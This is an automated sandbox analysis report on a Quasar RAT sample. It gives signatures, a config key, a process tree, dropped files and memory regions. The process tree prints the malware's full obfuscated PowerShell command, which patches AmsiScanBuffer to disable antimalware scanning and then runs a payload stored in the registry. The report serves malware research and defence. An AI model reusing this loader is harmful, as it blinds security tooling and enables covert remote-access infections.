Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2025, 07:57

General

  • Target
    24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
  • Size 5.4MB
  • Sample250127-js8p8symax
  • SHA256 24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • quasar

Attributes
  • encryption_key

    329720B689F7B7703EAAA9546BE3BAFE737B0649

  • reconnect_delay

    3000

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 16 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 18 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:620
      • C:\Windows\system32\dwm.exe
        "dwm.exe"
        2⤵
          PID:396
        • C:\Windows\System32\dllhost.exe
          C:\Windows\System32\dllhost.exe /Processid:{22f5a4f3-b9e4-4c78-8a15-d7b834f2d4e9}
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4952
      • C:\Windows\system32\lsass.exe
        C:\Windows\system32\lsass.exe
        1⤵
        • Drops file in System32 directory
        PID:688
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
        1⤵
          PID:960
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
          1⤵
            PID:400
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
            1⤵
              PID:532
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
              1⤵
                PID:1032
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1172
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                  1⤵
                  • Drops file in System32 directory
                  PID:1184
                  • C:\Windows\system32\taskhostw.exe
                    taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
                    2⤵
                      PID:2876
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:RxiOyAwYoFfN{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$zxldhcyTGeaKyB,[Parameter(Position=1)][Type]$CjaubREdkO)$UBBqkAHtDDo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Re'+'f'+''+[Char](108)+''+'e'+''+'c'+'t'+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+'e'+[Char](103)+''+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+'a'+''+[Char](116)+''+'e'+''+'T'+'y'+[Char](112)+''+'e'+'','C'+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'Pu'+[Char](98)+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+'al'+[Char](101)+''+[Char](100)+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+'u'+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$UBBqkAHtDDo.DefineConstructor(''+[Char](82)+'TS'+[Char](112)+'e'+[Char](99)+''+'i'+''+'a'+''+'l'+''+[Char](78)+''+'a'+''+[Char](109)+''+[Char](101)+',H'+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+'ub'+'l'+''+[Char](105)+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$zxldhcyTGeaKyB).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+[Char](105)+'m'+[Char](101)+''+','+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$UBBqkAHtDDo.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+'H'+[Char](105)+''+[Char](100)+'e'+[Char](66)+''+[Char](121)+'Si'+'g'+''+[Char](44)+''+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+'t'+','+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+'l',$CjaubREdkO,$zxldhcyTGeaKyB).SetImplementationFlags('Ru'+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+'ag'+[Char](101)+''+[Char](100)+'');Write-Output $UBBqkAHtDDo.CreateType();}$lKoFjttjsrXEA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+'te'+[Char](109)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+'M'+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'3'+[Char](50)+'.'+[Char](85)+''+[Char](110)+'saf'+[Char](101)+''+'N'+''+'a'+''+'t'+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+'e'+[Char](116)+''+'h'+''+'o'+''+'d'+'s');$RIHyRWGVqgqwFT=$lKoFjttjsrXEA.GetMethod(''+'G'+'e'+'t'+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+'A'+'d'+'d'+[Char](114)+''+[Char](101)+''+[Char](115)+''+'s'+'',[Reflection.BindingFlags](''+'P'+'u'+[Char](98)+''+[Char](108)+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](116)+''+[Char](97)+'t'+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$VbiPxcogIYpXMKwXDIa=RxiOyAwYoFfN @([String])([IntPtr]);$KPWAsUrvUOKmMGhIFmbyed=RxiOyAwYoFfN @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YNDTKhTrwtP=$lKoFjttjsrXEA.GetMethod(''+[Char](71)+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('ke'+'r'+'n'+[Char](101)+'l'+[Char](51)+''+[Char](50)+'.'+'d'+''+[Char](108)+'l')));$BVFoHpzyZPLhDZ=$RIHyRWGVqgqwFT.Invoke($Null,@([Object]$YNDTKhTrwtP,[Object](''+[Char](76)+''+[Char](111)+'a'+'d'+''+[Char](76)+''+[Char](105)+'b'+[Char](114)+''+'a'+'ry'+[Char](65)+'')));$nBMMiAjYWuSlXDlcf=$RIHyRWGVqgqwFT.Invoke($Null,@([Object]$YNDTKhTrwtP,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+''+'a'+'lP'+[Char](114)+'o'+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$RGEpXQV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BVFoHpzyZPLhDZ,$VbiPxcogIYpXMKwXDIa).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+[Char](46)+''+'d'+''+'l'+''+'l'+'');$zqOHdMRrlsnivvyAa=$RIHyRWGVqgqwFT.Invoke($Null,@([Object]$RGEpXQV,[Object]('A'+[Char](109)+''+[Char](115)+'i'+'S'+''+[Char](99)+''+'a'+'n'+[Char](66)+''+[Char](117)+'ffe'+[Char](114)+'')));$dPVvOewIFv=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nBMMiAjYWuSlXDlcf,$KPWAsUrvUOKmMGhIFmbyed).Invoke($zqOHdMRrlsnivvyAa,[uint32]8,4,[ref]$dPVvOewIFv);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$zqOHdMRrlsnivvyAa,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nBMMiAjYWuSlXDlcf,$KPWAsUrvUOKmMGhIFmbyed).Invoke($zqOHdMRrlsnivvyAa,[uint32]8,0x20,[ref]$dPVvOewIFv);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+'W'+'AR'+[Char](69)+'').GetValue(''+[Char](36)+''+'n'+''+'y'+''+[Char](97)+''+'-'+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                      2⤵
                      • Suspicious use of NtCreateUserProcessOtherParentProcess
                      • Command and Scripting Interpreter: PowerShell
                      • Drops file in System32 directory
                      • Suspicious use of SetThreadContext
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1276
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                    1⤵
                    • Indicator Removal: Clear Windows Event Logs
                    PID:1212
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                    1⤵
                      PID:1268
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                      1⤵
                        PID:1312
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                        1⤵
                          PID:1344
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                          1⤵
                            PID:1424
                            • C:\Windows\system32\sihost.exe
                              sihost.exe
                              2⤵
                                PID:2640
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                              1⤵
                                PID:1452
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                1⤵
                                  PID:1576
                                • C:\Windows\System32\svchost.exe
                                  C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                  1⤵
                                    PID:1596
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                    1⤵
                                      PID:1632
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1724
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                        1⤵
                                          PID:1756
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                          1⤵
                                            PID:1764
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1860
                                            • C:\Windows\system32\svchost.exe
                                              C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                              1⤵
                                                PID:1996
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:2004
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:2012
                                                  • C:\Windows\System32\svchost.exe
                                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                    1⤵
                                                      PID:1896
                                                    • C:\Windows\system32\svchost.exe
                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                      1⤵
                                                      • Suspicious use of AdjustPrivilegeToken
                                                      PID:2052
                                                    • C:\Windows\System32\spoolsv.exe
                                                      C:\Windows\System32\spoolsv.exe
                                                      1⤵
                                                        PID:2160
                                                      • C:\Windows\System32\svchost.exe
                                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                        1⤵
                                                          PID:2248
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                          1⤵
                                                            PID:2328
                                                          • C:\Windows\system32\svchost.exe
                                                            C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                            1⤵
                                                              PID:2456
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2464
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                1⤵
                                                                  PID:2684
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                  1⤵
                                                                  • Drops file in System32 directory
                                                                  PID:2716
                                                                • C:\Windows\sysmon.exe
                                                                  C:\Windows\sysmon.exe
                                                                  1⤵
                                                                    PID:2780
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Enumerates connected drives
                                                                    PID:2788
                                                                  • C:\Windows\System32\svchost.exe
                                                                    C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                    1⤵
                                                                      PID:2820
                                                                    • C:\Windows\system32\svchost.exe
                                                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                      1⤵
                                                                        PID:2836
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                        1⤵
                                                                          PID:3056
                                                                        • C:\Windows\system32\wbem\unsecapp.exe
                                                                          C:\Windows\system32\wbem\unsecapp.exe -Embedding
                                                                          1⤵
                                                                            PID:3076
                                                                          • C:\Windows\Explorer.EXE
                                                                            C:\Windows\Explorer.EXE
                                                                            1⤵
                                                                              PID:3424
                                                                              • C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\24bbfa8d70a5d5e74791b0af93c77802df7e965b14b0649aaec2ab8dd0e0c999.exe"
                                                                                2⤵
                                                                                • Checks computer location settings
                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                • Suspicious use of SetWindowsHookEx
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:1960
                                                                                • C:\Windows\System32\schtasks.exe
                                                                                  "C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F
                                                                                  3⤵
                                                                                    PID:4724
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
                                                                                    3⤵
                                                                                    • Suspicious use of SetThreadContext
                                                                                    • System Location Discovery: System Language Discovery
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4812
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
                                                                                      4⤵
                                                                                      • System Location Discovery: System Language Discovery
                                                                                      PID:1512
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                                1⤵
                                                                                  PID:3448
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                  1⤵
                                                                                    PID:3608
                                                                                  • C:\Windows\system32\DllHost.exe
                                                                                    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                    1⤵
                                                                                      PID:3796
                                                                                    • C:\Windows\System32\RuntimeBroker.exe
                                                                                      C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                      1⤵
                                                                                        PID:3964
                                                                                      • C:\Windows\System32\RuntimeBroker.exe
                                                                                        C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                        1⤵
                                                                                          PID:3420
                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                          1⤵
                                                                                            PID:1484
                                                                                          • C:\Windows\system32\svchost.exe
                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                            1⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:4552
                                                                                          • C:\Windows\System32\svchost.exe
                                                                                            C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                            1⤵
                                                                                              PID:4344
                                                                                            • C:\Windows\system32\svchost.exe
                                                                                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                              1⤵
                                                                                                PID:4008
                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                1⤵
                                                                                                  PID:2320
                                                                                                • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                  "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                  1⤵
                                                                                                  • Drops file in System32 directory
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  PID:4180
                                                                                                • C:\Windows\system32\SppExtComObj.exe
                                                                                                  C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                  1⤵
                                                                                                    PID:1464
                                                                                                  • C:\Windows\System32\svchost.exe
                                                                                                    C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                    1⤵
                                                                                                      PID:4720
                                                                                                    • C:\Windows\system32\DllHost.exe
                                                                                                      C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                      1⤵
                                                                                                        PID:2900
                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                                        1⤵
                                                                                                          PID:2452
                                                                                                        • C:\Windows\System32\WaaSMedicAgent.exe
                                                                                                          C:\Windows\System32\WaaSMedicAgent.exe d4481ea551d431add7cb4fb72f2bcf6e /1yoxNu8O0uGmUkGhbJg6Q.0.1.0.0.0
                                                                                                          1⤵
                                                                                                          • Sets service image path in registry
                                                                                                          • Modifies data under HKEY_USERS
                                                                                                          PID:1968
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            2⤵
                                                                                                              PID:4132
                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                            C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                                            1⤵
                                                                                                            • Drops file in Windows directory
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:1544
                                                                                                          • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                            1⤵
                                                                                                            • Checks BIOS information in registry
                                                                                                            • Writes to the Master Boot Record (MBR)
                                                                                                            • Checks SCSI registry key(s)
                                                                                                            • Enumerates system info in registry
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:5072
                                                                                                          • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                            C:\Windows\servicing\TrustedInstaller.exe
                                                                                                            1⤵
                                                                                                              PID:4924
                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                                              1⤵
                                                                                                                PID:2972
                                                                                                              • C:\Windows\System32\mousocoreworker.exe
                                                                                                                C:\Windows\System32\mousocoreworker.exe -Embedding
                                                                                                                1⤵
                                                                                                                • Checks processor information in registry
                                                                                                                • Enumerates system info in registry
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                PID:1672
                                                                                                              • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
                                                                                                                C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
                                                                                                                1⤵
                                                                                                                  PID:3696

                                                                                                                Network

                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                      Replay Monitor

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                                                                                                                      Downloads

                                                                                                                      Schedule Maintenance Work

                                                                                                                      • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                      • Size 2KB
                                                                                                                      • SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
                                                                                                                      • MD5 SHA1 SHA512

                                                                                                                      Schedule Maintenance Work

                                                                                                                      • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                                      • Size 2KB
                                                                                                                      • SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
                                                                                                                      • MD5 SHA1 SHA512

                                                                                                                      Schedule Wake To Work

                                                                                                                      • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                      • Size 2KB
                                                                                                                      • SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
                                                                                                                      • MD5 SHA1 SHA512

                                                                                                                      Schedule Wake To Work

                                                                                                                      • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                                      • Size 2KB
                                                                                                                      • SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
                                                                                                                      • MD5 SHA1 SHA512

                                                                                                                      Schedule Work

                                                                                                                      • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                      • Size 2KB
                                                                                                                      • SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
                                                                                                                      • MD5 SHA1 SHA512

                                                                                                                      Schedule Work

                                                                                                                      • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                                      • Size 2KB
                                                                                                                      • SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
                                                                                                                      • MD5 SHA1 SHA512

                                                                                                                      __PSScriptPolicyTest_thlgoqmq.psy.ps1

                                                                                                                      • Path C:\Windows\Temp\__PSScriptPolicyTest_thlgoqmq.psy.ps1
                                                                                                                      • Size 60B
                                                                                                                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                      • MD5 SHA1 SHA512

                                                                                                                      memory/396-82-0x000001B3FA9F0000-0x000001B3FAA1A000-memory.dmp

                                                                                                                      memory/620-45-0x0000024BF4820000-0x0000024BF484A000-memory.dmp

                                                                                                                      memory/620-48-0x0000024BF4820000-0x0000024BF484A000-memory.dmp

                                                                                                                      memory/620-40-0x0000024BF4820000-0x0000024BF484A000-memory.dmp

                                                                                                                      memory/620-38-0x0000024BF47F0000-0x0000024BF4814000-memory.dmp

                                                                                                                      memory/620-39-0x0000024BF4820000-0x0000024BF484A000-memory.dmp

                                                                                                                      memory/620-46-0x0000024BF4820000-0x0000024BF484A000-memory.dmp

                                                                                                                      memory/620-47-0x0000024BF4820000-0x0000024BF484A000-memory.dmp

                                                                                                                      memory/620-50-0x00007FFBEC270000-0x00007FFBEC280000-memory.dmp

                                                                                                                      memory/620-49-0x0000024BF4820000-0x0000024BF484A000-memory.dmp

                                                                                                                      memory/688-64-0x00007FFBEC270000-0x00007FFBEC280000-memory.dmp

                                                                                                                      memory/688-60-0x000002C1F7480000-0x000002C1F74AA000-memory.dmp

                                                                                                                      memory/688-62-0x000002C1F7480000-0x000002C1F74AA000-memory.dmp

                                                                                                                      memory/688-63-0x000002C1F7480000-0x000002C1F74AA000-memory.dmp

                                                                                                                      memory/688-59-0x000002C1F7480000-0x000002C1F74AA000-memory.dmp

                                                                                                                      memory/688-54-0x000002C1F7480000-0x000002C1F74AA000-memory.dmp

                                                                                                                      memory/688-61-0x000002C1F7480000-0x000002C1F74AA000-memory.dmp

                                                                                                                      memory/960-76-0x0000026C1B050000-0x0000026C1B07A000-memory.dmp

                                                                                                                      memory/960-78-0x00007FFBEC270000-0x00007FFBEC280000-memory.dmp

                                                                                                                      memory/960-77-0x0000026C1B050000-0x0000026C1B07A000-memory.dmp

                                                                                                                      memory/960-75-0x0000026C1B050000-0x0000026C1B07A000-memory.dmp

                                                                                                                      memory/960-74-0x0000026C1B050000-0x0000026C1B07A000-memory.dmp

                                                                                                                      memory/960-73-0x0000026C1B050000-0x0000026C1B07A000-memory.dmp

                                                                                                                      memory/960-68-0x0000026C1B050000-0x0000026C1B07A000-memory.dmp

                                                                                                                      memory/1276-23-0x00007FFC2C1F0000-0x00007FFC2C3E5000-memory.dmp

                                                                                                                      memory/1276-22-0x000001B1AA910000-0x000001B1AA93A000-memory.dmp

                                                                                                                      memory/1276-24-0x00007FFC2B510000-0x00007FFC2B5CE000-memory.dmp

                                                                                                                      memory/1512-12-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                      memory/1512-9-0x0000000000400000-0x000000000042B000-memory.dmp

                                                                                                                      memory/1960-612-0x00007FFC0E1E3000-0x00007FFC0E1E5000-memory.dmp

                                                                                                                      memory/1960-7-0x000000001C9D0000-0x000000001CEF8000-memory.dmp

                                                                                                                      memory/1960-1-0x0000000000250000-0x00000000007B8000-memory.dmp

                                                                                                                      memory/1960-2-0x00007FFC0E1E0000-0x00007FFC0ECA1000-memory.dmp

                                                                                                                      memory/1960-3-0x00007FFC0E1E0000-0x00007FFC0ECA1000-memory.dmp

                                                                                                                      memory/1960-4-0x000000001C050000-0x000000001C072000-memory.dmp

                                                                                                                      memory/1960-5-0x000000001C0D0000-0x000000001C120000-memory.dmp

                                                                                                                      memory/1960-6-0x000000001C1E0000-0x000000001C292000-memory.dmp

                                                                                                                      memory/1960-0-0x00007FFC0E1E3000-0x00007FFC0E1E5000-memory.dmp

